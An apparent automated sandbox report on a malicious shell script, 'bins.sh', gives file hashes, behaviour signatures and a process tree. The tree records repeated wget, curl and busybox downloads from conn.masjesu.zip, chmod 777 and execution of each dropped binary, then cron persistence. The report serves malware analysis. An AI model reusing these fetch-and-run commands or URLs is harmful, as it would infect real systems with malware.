Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 11:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    eb008a7649bbefcb93fb8c8abb3d93b3

  • SHA1

    95e5d4b482ba5bdf62089be5960e22a2fc9a94fa

  • SHA256

    2cb3c4941da8f50fa5dc57bf9d7a2f2b522a7c03cc8cdd382cfbb62b8efc1aa8

  • SHA512

    e8f234d2dafc6752229c03457f0d58d2779fd07a342895d17480a6eb03ebf32aafdf8c13a4266a295b95c689c111f6a2dc2b917f8f62fb7d683bf18c77019f97

  • SSDEEP

    192:es0jeSOCHqzjiswV1F1eoggX6u5QQQSH7YX6u5QQlH7YXeZHyzjiswVZs0jeS51:7TzjiJV1FQrgaSH7Y3H7YuozjiJV9

Malware Config

Signatures

  • Contacts a large (1716) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Executes dropped EXE
            PID:761
          • /bin/rm
            rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:814
              • /bin/chmod
                chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • File and Directory Permissions Modification
                PID:821
              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Executes dropped EXE
                PID:822
              • /bin/rm
                rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                  PID:826
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:827
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:840
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:846
                • /bin/chmod
                  chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:851
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:855
                  • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    ./zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Executes dropped EXE
                    PID:856
                  • /bin/rm
                    rm zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                      PID:858
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:859
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:863
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:865
                    • /bin/chmod
                      chmod 777 LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • File and Directory Permissions Modification
                      PID:866
                    • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      ./LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Executes dropped EXE
                      PID:867
                    • /bin/rm
                      rm LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                        PID:869
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:870
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:871
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:873
                      • /bin/chmod
                        chmod 777 Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • File and Directory Permissions Modification
                        PID:874
                      • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        ./Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Executes dropped EXE
                        PID:875
                      • /bin/rm
                        rm Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                          PID:877
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:878
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:879
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:881
                        • /bin/chmod
                          chmod 777 r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • File and Directory Permissions Modification
                          PID:882
                        • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          ./r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:883
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:885
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:886
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:887
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:888
                              • /bin/rm
                                rm r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                2⤵
                                  PID:890
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:893

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /var/spool/cron/crontabs/tmp.fVe6vp

                                Filesize

                                210B

                                MD5

                                d9e5fac7bb5fb6608544c8017237ae89

                                SHA1

                                b02cd0ffc2c2811a4b60422a6bc018dcd44385fa

                                SHA256

                                3330d2bb63870b20d427fea73010900972e8828ae38c6a5057301f7b30d04025

                                SHA512

                                f065d744d7b37e39ac9b5fba3b87d35f59538b8bf110096d17e98da4d4ee067943f6e9d9fc0f07171b80c4d1d583ae0022fccf09242d305fe46ec55128c2a09c